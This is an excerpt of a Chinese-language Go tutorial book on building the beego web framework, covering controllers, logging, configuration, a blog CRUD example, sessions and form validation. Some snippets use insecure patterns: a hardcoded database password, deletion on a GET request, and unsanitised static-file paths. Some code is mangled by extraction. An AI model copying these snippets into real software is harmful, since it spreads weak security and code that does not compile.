MVC 設計模式是目前 Web 應用開發中最常見的架構模式，透過分離 Model（模型）、View（檢視）和 Controller（控制器），可以更容易實現易於擴充套件的使用者介面(UI)。Model 指後臺返回的資料；View 指需要渲染的頁面，通常是範本頁面，渲染後的內容通常是 HTML；Controller 指 Web 開發人員編寫的處理不同 URL 的控制器，如前面小節講述的路由就是 URL 請求轉發到控制器的過程，controller 在整個的 MVC 框架中起到了一個核心的作用，負責處理業務邏輯，因此控制器是整個框架中必不可少的一部分，Model 和 View 對於有些業務需求是可以不寫的，例如沒有資料處理的邏輯處理，沒有頁面輸出的 302 調整之類別的就不需要 Model 和 View，但是 controller 這一環節是必不可少的。

### beego 的 REST 設計

前面小節介紹了路由實現了註冊 struct 的功能，而 struct 中實現了 REST 方式，因此我們需要設計一個用於邏輯處理 controller 的基底類別，這裡主要設計了兩個型別，一個 struct、一個 interface



```

type Controller struct {
    Ct      *Context
    Tpl      *template.Template
    Data     map[interface{}]{interface{}}
    ChildName string
    TplNames string
    Layout   []string
    TplExt   string
}

type ControllerInterface interface {
    Init(ct *Context, cn string) //初始化上下文和子類別名稱稱
    Prepare()                   //開始執行之前的一些處理
    Get()                        //method=GET 的處理
    Post()                       //method=POST 的處理
    Delete()                     //method=DELETE 的處理
    Put()                        //method=PUT 的處理
    Head()                       //method=HEAD 的處理
    Patch()                      //method=PATCH 的處理
    Options()                    //method=OPTIONS 的處理
    Finish()                     //執行完成之後的處理
    Render() error                //執行完 method 對應的方法之後渲染頁面
}

```

那麼前面介紹的路由 `add` 函式的時候是定義了 `ControllerInterface` 型別，因此，只要我們實現這個介面就可以，所以我們的基底類別 `Controller` 實現如下的方法：

```

func (c *Controller) Init(ct *Context, cn string) {
    c.Data = make(map[interface{}]{interface{}})
    c.Layout = make([]string, 0)
    c.TplNames = ""
    c.ChildName = cn
    c.Ct = ct
    c.TplExt = "tpl"
}

```

```
func (c *Controller) Prepare() {  
  
}  
  
func (c *Controller) Finish() {  
  
}  
  
func (c *Controller) Get() {  
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)  
}  
  
func (c *Controller) Post() {  
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)  
}  
  
func (c *Controller) Delete() {  
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)  
}  
  
func (c *Controller) Put() {  
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)  
}  
  
func (c *Controller) Head() {  
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)  
}  
  
func (c *Controller) Patch() {  
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)  
}  
  
func (c *Controller) Options() {  
    http.Error(c.Ct.ResponseWriter, "Method Not Allowed", 405)  
}  
  
func (c *Controller) Render() error {  
    if len(c.Layout) > 0 {  
        var filenames []string  
        for _, file := range c.Layout {
```

```
        filenames = append(filenames, path.Join(ViewsPath, file))
    }
    t, err := template.ParseFiles(filenames...)
    if err != nil {
        Trace("template ParseFiles err:", err)
    }
    err = t.ExecuteTemplate(c.Ct.ResponseWriter, c.TplNames,
c.Data)
    if err != nil {
        Trace("template Execute err:", err)
    }
} else {
    if c.TplNames == "" {
        c.TplNames = c.ChildName + "/" + c.Ct.Request.Method
+ "." + c.TplExt
    }
    t, err := template.ParseFiles(path.Join(ViewsPath, c.Tpl
Names))
    if err != nil {
        Trace("template ParseFiles err:", err)
    }
    err = t.Execute(c.Ct.ResponseWriter, c.Data)
    if err != nil {
        Trace("template Execute err:", err)
    }
}
return nil
}

func (c *Controller) Redirect(url string, code int) {
    c.Ct.Redirect(code, url)
}
```

上面的 controller 基底類別已經實現了介面定義的函式，透過路由根據 url 執行相應的 controller 的原則，會依次執行如下：

Init()	初始化
Prepare()	執行之前的初始化，每個繼承的子類別可以來實現該函式
method()	根據不同的 method 執行不同的函式：GET、POST、PUT、HEAD 等，子類別來實現這些函式，如果沒實現，那麼預設都是 403
Render()	可選，根據全域性變數 AutoRender 來判斷是否執行
Finish()	執行完之後執行的操作，每個繼承的子類別可以來實現該函式

## 應用指南

上面 beego 框架中完成了 controller 基底類別的設計，那麼我們在我們的應用中可以這樣來設計我們的方法：

```
package controllers

import (
    "github.com/astaxie/beego"
)

type MainController struct {
    beego.Controller
}

func (this *MainController) Get() {
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.TplNames = "index.tpl"
}
```

上面的方式我們實現了子類別 MainController，實現了 Get 方法，那麼如果使用者透過其他的方式(POST/HEAD 等)來訪問該資源都將返回 405，而如果是 Get 來訪問，因為我們設定了 AutoRender=true，那麼在執行完 Get 方法之後會自動執行 Render 函式，就會顯示如下介面：



index.tpl 的程式碼如下所示，我們可以看到資料的設定和顯示都是相當的簡單方便：

```
<!DOCTYPE html>
<html>
  <head>
    <title>beego welcome template</title>
  </head>
  <body>
    <h1>Hello, world!{{.Username}},{{.Email}}</h1>
  </body>
</html>
```

## links

- [目錄](#)
- [上一章: 自訂路由器設計](#)
- [下一節: 日誌和配置設計](#)

## 13.4 日誌和配置設計

### 日誌和配置的重要性

前面已經介紹過日誌在我們程式開發中起著很重要的作用，透過日誌我們可以記錄除錯我們的資訊，當初介紹過一個日誌系統 **seelog**，根據不同的 **level** 輸出不同的日誌，這個對於程式開發和程式部署來說至關重要。我們可以在程式開發中設定 **level** 低一點，部署的時候把 **level** 設定高，這樣我們開發中的除錯資訊可以遮蔽掉。

配置模組對於應用部署牽涉到伺服器不同的一些配置資訊非常有用，例如一些資料庫配置資訊、監聽埠、監聽地址等都是可以透過配置檔案來配置，這樣我們的應用程式就具有很強的靈活性，可以透過配置檔案的配置部署在不同的機器上，可以連線不同的資料庫之類別的。

### **beego** 的日誌設計

**beego** 的日誌設計部署思路來自於 **seelog**，根據不同的 **level** 來記錄日誌，但是 **beego** 設計的日誌系統比較輕量級，採用了系統的 **log.Logger** 介面，預設輸出到 **os.Stdout**，使用者可以實現這個介面然後透過 **beego.SetLogger** 設定自訂的輸出，詳細的實現如下所示：

```
// Log levels to control the logging output.
const (
    LevelTrace = iota
    LevelDebug
    LevelInfo
    LevelWarning
    LevelError
    LevelCritical
)

// LogLevel controls the global log level used by the logger.
var level = LevelTrace

// LogLevel returns the global log level and can be used in
// own implementations of the logger interface.
func Level() int {
    return level
}

// SetLogLevel sets the global log level used by the simple
// logger.
func SetLevel(l int) {
    level = l
}
```

上面這一段實現了日誌系統的日誌分級，預設的級別是 `Trace`，使用者透過 `SetLevel` 可以設定不同的分級。

```
// logger references the used application logger.
var BeeLogger = log.New(os.Stdout, "", log.Ldate|log.Ltime)

// SetLogger sets a new logger.
func SetLogger(l *log.Logger) {
    BeeLogger = l
}

// Trace logs a message at trace level.
```

```
func Trace(v ...interface{}) {
    if level <= LevelTrace {
        BeeLogger.Printf("[T] %v\n", v)
    }
}

// Debug logs a message at debug level.
func Debug(v ...interface{}) {
    if level <= LevelDebug {
        BeeLogger.Printf("[D] %v\n", v)
    }
}

// Info logs a message at info level.
func Info(v ...interface{}) {
    if level <= LevelInfo {
        BeeLogger.Printf("[I] %v\n", v)
    }
}

// Warning logs a message at warning level.
func Warn(v ...interface{}) {
    if level <= LevelWarning {
        BeeLogger.Printf("[W] %v\n", v)
    }
}

// Error logs a message at error level.
func Error(v ...interface{}) {
    if level <= LevelError {
        BeeLogger.Printf("[E] %v\n", v)
    }
}

// Critical logs a message at critical level.
func Critical(v ...interface{}) {
    if level <= LevelCritical {
        BeeLogger.Printf("[C] %v\n", v)
    }
}
```



上面這一段程式碼預設初始化了一個 BeeLogger 物件，預設輸出到 `os.Stdout`，使用者可以透過 `beego.SetLogger` 來設定實現了 logger 的介面輸出。這裡面實現了六個函式：

- Trace（一般的記錄資訊，舉例如下：）
  - "Entered parse function validation block"
  - "Validation: entered second 'if'"
  - "Dictionary 'Dict' is empty. Using default value"
- Debug（除錯資訊，舉例如下：）
  - "Web page requested: <http://somesite.com> Params='...'"
  - "Response generated. Response size: 10000. Sending."
  - "New file received. Type:PNG Size:20000"
- Info（列印資訊，舉例如下：）
  - "Web server restarted"
  - "Hourly statistics: Requested pages: 12345 Errors: 123 ..."
  - "Service paused. Waiting for 'resume' call"
- Warn（警告資訊，舉例如下：）
  - "Cache corrupted for file='test.file'. Reading from back-end"
  - "Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB"
  - "No response from statistics server. Statistics not sent"
- Error（錯誤資訊，舉例如下：）
  - "Internal error. Cannot process request #12345 Error:...."
  - "Cannot perform login: credentials DB not responding"
- Critical（致命錯誤，舉例如下：）
  - "Critical panic received: .... Shutting down"
  - "Fatal error: ... App is shutting down to prevent data corruption or loss"

可以看到每個函式裡面都有對 `level` 的判斷，所以如果我們在部署的時候設定了 `level=LevelWarning`，那麼 `Trace`、`Debug`、`Info` 這三個函式都不會有任何的輸出，以此類推。

## beego 的配置設計

配置資訊的解析，beego 實現了一個 `key=value` 的配置檔案讀取，類似 ini 配置檔案的格式，就是一個檔案解析的過程，然後把解析的資料儲存到 `map` 中，最後在呼叫的時候通過幾個 `string`、`int` 之類別的函式呼叫返回相應的值，具體的實現請看下面：

首先定義了一些 ini 配置檔案的一些全域性常量：

```
var (
    bComment = []byte{'#'}
    bEmpty    = []byte{}
    bEqual     = []byte{'='}
    bDQuote    = []byte{'"'}
```

定義了配置檔案的格式：

```
// A Config represents the configuration.
type Config struct {
    filename string
    comment  map[int][]string // id: [{comment, key...}; id 1
is for main comment.
    data      map[string]string // key: value
    offset    map[string]int64   // key: offset; for editing.
    sync.RWMutex
}
```

定義瞭解析檔案的函式，解析檔案的過程是開啓檔案，然後一行一行的讀取，解析註釋、空行和 `key=value` 資料：

```
// ParseFile creates a new Config and parses the file configuration from the
// named file.
func LoadConfig(name string) (*Config, error) {
    file, err := os.Open(name)
    if err != nil {
```

```
        return nil, err
    }

    cfg := &Config{
        file.Name(),
        make(map[int][]string),
        make(map[string]string),
        make(map[string]int64),
        sync.RWMutex{},
    }
    cfg.Lock()
    defer cfg.Unlock()
    defer file.Close()

    var comment bytes.Buffer
    buf := bufio.NewReader(file)

    for nComment, off := 0, int64(1); ; {
        line, _, err := buf.ReadLine()
        if err == io.EOF {
            break
        }
        if bytes.Equal(line, bEmpty) {
            continue
        }

        off += int64(len(line))

        if bytes.HasPrefix(line, bComment) {
            line = bytes.TrimLeft(line, "#")
            line = bytes.TrimLeftFunc(line, unicode.IsSpace)
            comment.Write(line)
            comment.WriteByte('\n')
            continue
        }
        if comment.Len() != 0 {
            cfg.comment[nComment] = []string{comment.String()}
            comment.Reset()
            nComment++
        }
    }
```

```
    val := bytes.SplitN(line, bEqual, 2)
    if bytes.HasPrefix(val[1], bDQuote) {
        val[1] = bytes.Trim(val[1], `"` )
    }

    key := strings.TrimSpace(string(val[0]))
    cfg.comment[nComment-1] = append(cfg.comment[nComment-1]
, key)
    cfg.data[key] = strings.TrimSpace(string(val[1]))
    cfg.offset[key] = off
}
return cfg, nil
}
```

下面實現了一些讀取配置檔案的函式，返回的值確定為 bool、int、float64 或 string：

```
// Bool returns the boolean value for a given key.
func (c *Config) Bool(key string) (bool, error) {
    return strconv.ParseBool(c.data[key])
}

// Int returns the integer value for a given key.
func (c *Config) Int(key string) (int, error) {
    return strconv.Atoi(c.data[key])
}

// Float returns the float value for a given key.
func (c *Config) Float(key string) (float64, error) {
    return strconv.ParseFloat(c.data[key], 64)
}

// String returns the string value for a given key.
func (c *Config) String(key string) string {
    return c.data[key]
}
```

## 應用指南

下面這個函式是我一個應用中的例子，用來取得遠端 url 地址的 json 資料，實現如下：

```
func GetJson() {
    resp, err := http.Get(beego.AppConfig.String("url"))
    if err != nil {
        beego.Critical("http get info error")
        return
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    err = json.Unmarshal(body, &AllInfo)
    if err != nil {
        beego.Critical("error:", err)
    }
}
```

函式中呼叫了框架的日誌函式 `beego.Critical` 函式用來報錯，呼叫了 `beego.AppConfig.String("url")` 用來取得配置檔案中的資訊，配置檔案的資訊如下(app.conf)：

```
appname = hs
url ="http://www.api.com/api.html"
```

## links

- [目錄](#)
- 上一章: [controller 設計](#)
- 下一節: [實現部落格的增刪改](#)

## 13.5 實現部落格的增刪改

前面介紹了 beego 框架實現的整體構思以及部分實現的虛擬碼，這小節介紹透過 beego 建立一個部落格系統，包括部落格瀏覽、新增、修改、刪除等操作。

### 部落格目錄

部落格目錄如下所示：

```
.
├── controllers
│   ├── delete.go
│   ├── edit.go
│   ├── index.go
│   ├── new.go
│   └── view.go
├── main.go
├── models
│   └── model.go
└── views
    ├── edit.tpl
    ├── index.tpl
    ├── layout.tpl
    ├── new.tpl
    └── view.tpl
```

### 部落格路由

部落格主要的路由規則如下所示：

```
//顯示部落格首頁
beego.Router("/", &controllers.IndexController{})
//檢視部落格詳細資訊
beego.Router("/view/:id([0-9]+)", &controllers.ViewController{})
//新建部落格博文
beego.Router("/new", &controllers.NewController{})
//刪除博文
beego.Router("/delete/:id([0-9]+)", &controllers.DeleteController{})
//編輯博文
beego.Router("/edit/:id([0-9]+)", &controllers.EditController{})
```

## 資料庫結構

資料庫設計最簡單的部落格資訊

```
CREATE TABLE entries (
    id INT AUTO_INCREMENT,
    title TEXT,
    content TEXT,
    created DATETIME,
    primary key (id)
);
```

## 控制器

IndexController:

```
type IndexController struct {
    beego.Controller
}

func (this *IndexController) Get() {
    this.Data["blogs"] = models.GetAll()
    this.Layout = "layout.tpl"
    this.TplName = "index.tpl"
}
```

ViewController:

```
type ViewController struct {
    beego.Controller
}

func (this *ViewController) Get() {
    id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"])
    this.Data["Post"] = models.GetBlog(id)
    this.Layout = "layout.tpl"
    this.TplName = "view.tpl"
}
```

NewController



```
type NewController struct {
    beego.Controller
}

func (this *NewController) Get() {
    this.Layout = "layout.tpl"
    this.TplName = "new.tpl"
}

func (this *NewController) Post() {
    inputs := this.Input()
    var blog models.Blog
    blog.Title = inputs.Get("title")
    blog.Content = inputs.Get("content")
    blog.Created = time.Now()
    models.SaveBlog(blog)
    this.Ctx.Redirect(302, "/")
}
```

EditController

```
type EditController struct {
    beego.Controller
}

func (this *EditController) Get() {
    id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"])
    this.Data["Post"] = models.GetBlog(id)
    this.Layout = "layout.tpl"
    this.TplName = "edit.tpl"
}

func (this *EditController) Post() {
    inputs := this.Input()
    var blog models.Blog
    blog.Id, _ = strconv.Atoi(inputs.Get("id"))
    blog.Title = inputs.Get("title")
    blog.Content = inputs.Get("content")
    blog.Created = time.Now()
    models.SaveBlog(blog)
    this.Ctx.Redirect(302, "/")
}
```

## DeleteController

```
type DeleteController struct {
    beego.Controller
}

func (this *DeleteController) Get() {
    id, _ := strconv.Atoi(this.Ctx.Input.Params()[":id"])
    blog := models.GetBlog(id)
    this.Data["Post"] = blog
    models.DelBlog(blog)
    this.Ctx.Redirect(302, "/")
}
```

## model 層

```
package models

import (
    "database/sql"
    "github.com/astaxie/beedb"
    _ "github.com/ziutek/mymysql/godrv"
    "time"
)

type Blog struct {
    Id      int `PK`
    Title   string
    Content string
    Created time.Time
}

func GetLink() beedb.Model {
    db, err := sql.Open("mymysql", "blog/astaxie/123456")
    if err != nil {
        panic(err)
    }
    orm := beedb.New(db)
    return orm
}

func GetAll() (blogs []Blog) {
    db := GetLink()
    db.FindAll(&blogs)
    return
}

func GetBlog(id int) (blog Blog) {
    db := GetLink()
    db.Where("id=?", id).Find(&blog)
    return
}
```

```
func SaveBlog(blog Blog) (bg Blog) {
    db := GetLink()
    db.Save(&blog)
    return bg
}

func DelBlog(blog Blog) {
    db := GetLink()
    db.Delete(&blog)
    return
}
```

## view 層

layout.tpl

```
<html>
<head>
  <title>My Blog</title>
  <style>
    #menu {
      width: 200px;
      float: right;
    }
  </style>
</head>
<body>

<ul id="menu">
  <li><a href="/">Home</a></li>
  <li><a href="/new">New Post</a></li>
</ul>

{{.LayoutContent}}

</body>
</html>
```

index.tpl

```
<h1>Blog posts</h1>

<ul>
  {{range .blogs}}
    <li>
      <a href="/view/{{.Id}}">{{.Title}}</a>
      from {{.Created}}
      <a href="/edit/{{.Id}}">Edit</a>
      <a href="/delete/{{.Id}}">Delete</a>
    </li>
  {{end}}
</ul>
```

## view.tpl

```
<h1>{{.Post.Title}}</h1>
{{.Post.Created}}<br/>

{{.Post.Content}}
```

## new.tpl

```
<h1>New Blog Post</h1>
<form action="" method="post">
標題:<input type="text" name="title"><br>
內容:<textarea name="content" colspan="3" rowspan="10"></textarea>
>
<input type="submit">
</form>
```



## edit.tpl

```
<h1>Edit {{.Post.Title}}</h1>

<h1>New Blog Post</h1>
<form action="" method="post">
標題:<input type="text" name="title" value="{{.Post.Title}}"><br>
內容:<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea>
<input type="hidden" name="id" value="{{.Post.Id}}">
<input type="submit">
</form>
```

## links

- [目錄](#)

- 上一章: [日誌和配置設計](#)
- 下一節: [小結](#)

## 13.6 小結

這一章我們主要介紹瞭如何實現一個基礎的 Go 語言框架，框架包含有路由設計，由於 Go 內建的 http 套件中路由的一些不足點，我們設計了動態路由規則，然後介紹了 MVC 模式中的 Controller 設計，controller 實現了 REST 的實現，這個主要思路來源於 tornado 框架，然後設計實現了範本的 layout 以及自動化渲染等技術，主要採用了 Go 內建的範本引擎，最後我們介紹了一些輔助的日誌、配置等資訊的設計，透過這些設計我們實現了一個基礎的框架 beego，目前該框架已經開源在 github，最後我們透過 beego 實現了一個部落格系統，透過例項程式碼詳細的展現瞭如何快速的開發一個站點。

## links

- [目錄](#)
- [上一章: 實現部落格的增刪改](#)
- [下一節: 擴充套件 Web 框架](#)



## 14 擴充套件 Web 框架

第十三章介紹瞭如何開發一個 Web 框架，透過介紹 MVC、路由、日誌處理、配置處理完成了一個基本的框架系統，但是一個好的框架需要一些方便的輔助工具來快速的開發 Web，那麼我們這一章將就如何提供一些快速開發 Web 的工具進行介紹，第一小節介紹如何處理靜態檔案，如何利用現有的 twitter 開源的 bootstrap 進行快速的開發美觀的站點，第二小節介紹如何利用前面介紹的 session 來進行使用者登入處理，第三小節介紹如何方便的輸出表單、這些表單如何進行資料驗證，如何快速的結合 model 進行資料的增刪改操作，第四小節介紹如何進行一些使用者認證，包括 http basic 認證、http digest 認證，第五小節介紹如何利用前面介紹的 i18n 支援多語言的應用開發。第六小節介紹瞭如何整合 Go 的 pprof 套件用於效能除錯。

透過本章的擴充套件，beego 框架將具有快速開發 Web 的特性，最後我們將講解如何利用這些擴充套件的特性擴充套件開發第十三章開發的部落格系統，透過開發一個完整、美觀的部落格系統讓讀者瞭解 beego 開發帶給你的快速。

### 目錄



### links

- [目錄](#)
- [上一章: 第十三章總結](#)
- [下一節: 靜態檔案支援](#)

## 14.1 靜態檔案支援

我們在前面已經講過如何處理靜態檔案，這小節我們詳細的介紹如何在 beego 裡面設定和使用靜態檔案。透過再介紹一個 twitter 開源的 html、css 框架 bootstrap，無需大量的設計工作就能夠讓你快速地建立一個漂亮的站點。

### beego 靜態檔案實現和設定

Go 的 net/http 套件中提供了靜態檔案的服務，`ServeFile` 和 `FileServer` 等函式。beego 的靜態檔案處理就是基於這一層處理的，具體的實現如下所示：

```
//static file server
for prefix, staticDir := range StaticDir {
    if strings.HasPrefix(r.URL.Path, prefix) {
        file := staticDir + r.URL.Path[len(prefix):]
        http.ServeFile(w, r, file)
        w.started = true
        return
    }
}
```

StaticDir 裡面儲存的是相應的 url 對應到靜態檔案所在的目錄，因此在處理 URL 請求的時候只需要判斷對應的請求地址是否包含靜態處理開頭的 url，如果包含的話就採用 `http.ServeFile` 提供服務。

舉例如下：

```
beego.StaticDir["/asset"] = "/static"
```

那麼請求 url 如 `http://www.beego.me/asset/bootstrap.css` 就會請求 `/static/bootstrap.css` 來提供反饋給客戶端。

## bootstrap 整合

Bootstrap 是 Twitter 推出的一個開源的用於前端開發的工具套件。對於開發者來說，Bootstrap 是快速開發 Web 應用程式的最佳前端工具套件。它是一個 CSS 和 HTML 的集合，它使用了最新的 HTML5 標準，給你的 Web 開發提供了時尚的版式，表單，按鈕，表格，網格系統等等。

- 元件 Bootstrap 中包含了豐富的 Web 元件，根據這些元件，可以快速的建立一個漂亮、功能完備的網站。其中包括以下元件： 下拉選單、按鈕組、按鈕下拉選單、導航、導覽列、麵套件屑、分頁、排版、縮圖、警告對話方塊、進度條、媒體物件等
- Javascript 外掛 Bootstrap 自帶了 13 個 jQuery 外掛，這些外掛為 Bootstrap 中的元件賦予了“生命”。其中包括： 模式對話方塊、標籤頁、滾動條、彈出框等。
- 訂製自己的框架程式碼 可以對 Bootstrap 中所有的 CSS 變數進行修改，依據自己的需求裁剪程式碼。



圖 14.1 bootstrap 站點

接下來我們利用 bootstrap 整合到 beego 框架裡面來，快速的建立一個漂亮的站點。

1. 首先把下載的 bootstrap 目錄放到我們的專案目錄，取名為 static，如下截圖所示



圖 14.2 專案中靜態檔案目錄結構

2. 因為 beego 預設設定了 StaticDir 的值，所以如果你的靜態檔案目錄是 static 的話就無須再增加了： ``Go

```
StaticDir["/static"] = "static"
```

3. 範本中使用如下的地址就可以了：

```
```html

//css 檔案
<link href="/static/css/bootstrap.css" rel="stylesheet">

//js 檔案
<script src="/static/js/bootstrap-transition.js"></script>

//圖片檔案

```

上面可以實現把 bootstrap 整合到 beego 中來，如下展示的圖就是整合進來之後的展現效果圖：



圖 14.3 建構的基於 bootstrap 的站點介面

這些範本和格式 bootstrap 官方都有提供，這邊就不再重複貼程式碼，大家可以上 bootstrap 官方網站學習如何編寫範本。

## links

- [目錄](#)
- 上一節: [擴充套件 Web 框架](#)
- 下一節: [Session 支援](#)

## 14.2 Session 支援

第六章的時候我們介紹過如何在 Go 語言中使用 session，也實現了一個 sessionManger，beego 框架基於 sessionManager 實現了方便的 session 處理功能。

### session 整合

beego 中主要有以下的全域性變數來控制 session 處理：

```
//related to session
SessionOn          bool    // 是否開啓 session 模組，預設不開啓
SessionProvider    string  // session 後端提供處理模組，預設是 sessionManager 支援的 memory

SessionName        string  // 客戶端儲存的 cookies 的名稱
SessionGCMaxLifetime int64 // cookies 有效期

GlobalSessions *session.Manager //全域性 session 控制器
```

當然上面這些變數需要初始化值，也可以按照下面的程式碼來配合配置檔案以設定這些值：

```
if ar, err := AppConfig.Bool("sessionon"); err != nil {
    SessionOn = false
} else {
    SessionOn = ar
}
if ar := AppConfig.String("sessionprovider"); ar == "" {
    SessionProvider = "memory"
} else {
    SessionProvider = ar
}
if ar := AppConfig.String("sessionname"); ar == "" {
    SessionName = "beegosessionID"
} else {
    SessionName = ar
}
if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil
&& ar != 0 {
    int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64)
    SessionGCMaxLifetime = int64val
} else {
    SessionGCMaxLifetime = 3600
}
```

在 `beego.Run` 函式中增加如下程式碼：

```
if SessionOn {
    GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime)
    go GlobalSessions.GC()
}
```

這樣只要 `SessionOn` 設定為 `true`，那麼就會預設開啓 `session` 功能，獨立開一個 `goroutine` 來處理 `session`。

爲了方便我們在自訂 `Controller` 中快速使用 `session`，作者在 `beego.Controller` 中提供瞭如下方法：

```
func (c *Controller) StartSession() (sess session.Session) {  
    sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request)  
    return  
}
```

## session 使用

透過上面的程式碼我們可以看到，beego 框架簡單地繼承了 session 功能，那麼在專案中如何使用呢？

首先我們需要在應用的 main 入口處開啓 session：

```
beego.SessionOn = true
```

然後我們就可以在控制器的相應方法中如下所示的使用 session 了：

```
func (this *MainController) Get() {  
    var intcount int  
    sess := this.StartSession()  
    count := sess.Get("count")  
    if count == nil {  
        intcount = 0  
    } else {  
        intcount = count.(int)  
    }  
    intcount = intcount + 1  
    sess.Set("count", intcount)  
    this.Data["Username"] = "astaxie"  
    this.Data["Email"] = "astaxie@gmail.com"  
    this.Data["Count"] = intcount  
    this.TplNames = "index.tpl"  
}
```

上面的程式碼展示瞭如何在控制邏輯中使用 `session`，主要分兩個步驟：

### 1. 取得 `session` 物件

```
//取得物件，類似 PHP 中的 session_start()  
sess := this.StartSession()
```

### 1. 使用 `session` 進行一般的 `session` 值操作

```
//取得 session 值，類似 PHP 中的$_SESSION["count"]  
sess.Get("count")  
  
//設定 session 值  
sess.Set("count", intcount)
```

從上面程式碼可以看出基於 `beego` 框架開發的應用中使用 `session` 相當方便，基本上和 `PHP` 中呼叫 `session_start()` 類似。

## links

- [目錄](#)
- 上一節: [靜態檔案支援](#)
- 下一節: [表單及驗證支援](#)



## 14.3 表單及驗證支援

在 Web 開發中對於這樣的一個流程可能很眼熟：

- 開啓一個網頁顯示出表單。
- 使用者填寫並提交了表單。
- 如果使用者提交了一些無效的資訊，或者可能漏掉了一個必填項，表單將會連同使用者的資料和錯誤問題的描述資訊返回。
- 使用者再次填寫，繼續上一步過程，直到提交了一個有效的表單。

在接收端，指令碼必須：

- 檢查使用者遞交的表單資料。
- 驗證資料是否為正確的型別，合適的標準。例如，如果一個使用者名稱被提交，它必須被驗證是否只包含了允許的字元。它必須有一個最小長度，不能超過最大長度。使用者名稱不能與已存在的他人使用者名稱重複，甚至是一個保留字等。
- 過濾資料並清理不安全字元，保證邏輯處理中接收的資料是安全的。
- 如果需要，預格式化資料（資料需要清除空白或者經過 HTML 編碼等等。）
- 準備好資料，插入資料庫。

儘管上面的過程並不是很複雜，但是通常情況下需要編寫很多程式碼，而且爲了顯示錯誤資訊，在網頁中經常要使用多種不同的控制結構。建立表單驗證雖簡單，實施起來實在枯燥無味。

### 表單和驗證

對於開發者來說，一般開發過程都是相當複雜，而且大多是在重複一樣的工作。假設一個場景專案中忽然需要增加一個表單資料，那麼區域性程式碼的整個流程都需要修改。我們知道 Go 裡面 `struct` 是常用的一個數據結構，因此 beego 的 form 採用了 `struct` 來處理表單資訊。

首先定義一個開發 Web 應用時相對應的 `struct`，一個欄位對應一個 form 元素，透過 `struct` 的 tag 來定義相應的元素資訊和驗證資訊，如下所示：

```
type User struct{
    Username    string    `form:text,valid:required`
    Nickname    string    `form:text,valid:required`
    Age         int      `form:text,valid:required|numeric`
    Email       string    `form:text,valid:required|valid_email`
    Introduce   string    `form:textarea`
}
```

定義好 struct 之後接下來在 controller 中這樣操作

```
func (this *AddController) Get() {
    this.Data["form"] = beego.Form(&User{})
    this.Layout = "admin/layout.html"
    this.TplNames = "admin/add.tpl"
}
```

在範本中這樣顯示錶單

```
<h1>New Blog Post</h1>
<form action="" method="post">
{{.form.render()}}
</form>
```

上面我們定義好了整個的第一步，從 struct 到顯示錶單的過程，接下來就是使用者填寫資訊，伺服器端接收資料然後驗證，最後插入資料庫。

```
func (this *AddController) Post() {  
    var user User  
    form := this.GetInput(&user)  
    if !form.Validates() {  
        return  
    }  
    models.UserInsert(&user)  
    this.Ctx.Redirect(302, "/admin/index")  
}
```

## 表單型別

以下列表列出來了對應的 form 元素資訊：

名稱	引數	功能描述
text	No	textbox 輸入框
button	No	按鈕
checkbox	No	多選擇框
dropdown	No	下拉選擇框
file	No	檔案上傳
hidden	No	隱藏元素
password	No	密碼輸入框
radio	No	單選框
textarea	No	文字輸入框

## 表單驗證

以下列表將列出可被使用的原生規則

規則	引數	描述	舉例
required	No	如果元素為空，則返回 FALSE	

<b>matches</b>	Yes	如果表單元素的值與引數中對應的表單欄位的值不相等，則返回 FALSE	matches[form_item]
<b>is_unique</b>	Yes	如果表單元素的值與指定資料表欄位有重複，則返回 False（譯者注：比如 is_unique[User.Email]，那麼驗證類別會去查詢 User 表中 Email 欄位有沒有與表單元素一樣的值，如存重複，則返回 false，這樣開發者就不必另寫 Callback 驗證程式碼。）	is_unique[table.field]
<b>min_length</b>	Yes	如果表單元素值的字元長度少於引數中定義的數字，則返回 FALSE	min_length[6]
<b>max_length</b>	Yes	如果表單元素值的字元長度大於引數中定義的數字，則返回 FALSE	max_length[12]
<b>exact_length</b>	Yes	如果表單元素值的字元長度與引數中定義的數字不符，則返回 FALSE	exact_length[8]
<b>greater_than</b>	Yes	如果表單元素值是非數字型別，或小於引數定義的值，則返回 FALSE	greater_than[8]
<b>less_than</b>	Yes	如果表單元素值是非數字型別，或大於引數定義的值，則返回 FALSE	less_than[8]
<b>alpha</b>	No	如果表單元素值中包含除字母以外的其他字元，則返回 FALSE	
<b>alpha_numeric</b>	No	如果表單元素值中包含除字母和數字以外的其他字元，則返回 FALSE	
<b>alpha_dash</b>	No	如果表單元素值中包含除字母/數字/下劃線/破折號以外的其他字元，則返回 FALSE	
		如果表單元素值中包含	

<b>numeric</b>	No	除數字以外的字元，則返回 FALSE	
<b>integer</b>	No	如果表單元素中包含除整數以外的字元，則返回 FALSE	
<b>decimal</b>	Yes	如果表單元素中輸入（非小數）不完整的值，則返回 FALSE	
<b>is_natural</b>	No	如果表單元素值中包含了非自然數的其他數值（其他數值不包括零），則返回 FALSE。自然數形如：0,1,2,3.... 等等。	
<b>is_natural_no_zero</b>	No	如果表單元素值包含了非自然數的其他數值（其他數值包括零），則返回 FALSE。非零的自然數：1,2,3..... 等等。	
<b>valid_email</b>	No	如果表單元素值包含不合法的 email 地址，則返回 FALSE	
<b>valid_emails</b>	No	如果表單元素值中任何一個值包含不合法的 email 地址（地址之間用英文逗號分割），則返回 FALSE。	
<b>valid_ip</b>	No	如果表單元素的值不是一個合法的 IP 地址，則返回 FALSE。	
<b>valid_base64</b>	No	如果表單元素的值包含除了 base64 編碼字元之外的其他字元，則返回 FALSE。	

## links

- [目錄](#)
- 上一節: [Session 支援](#)
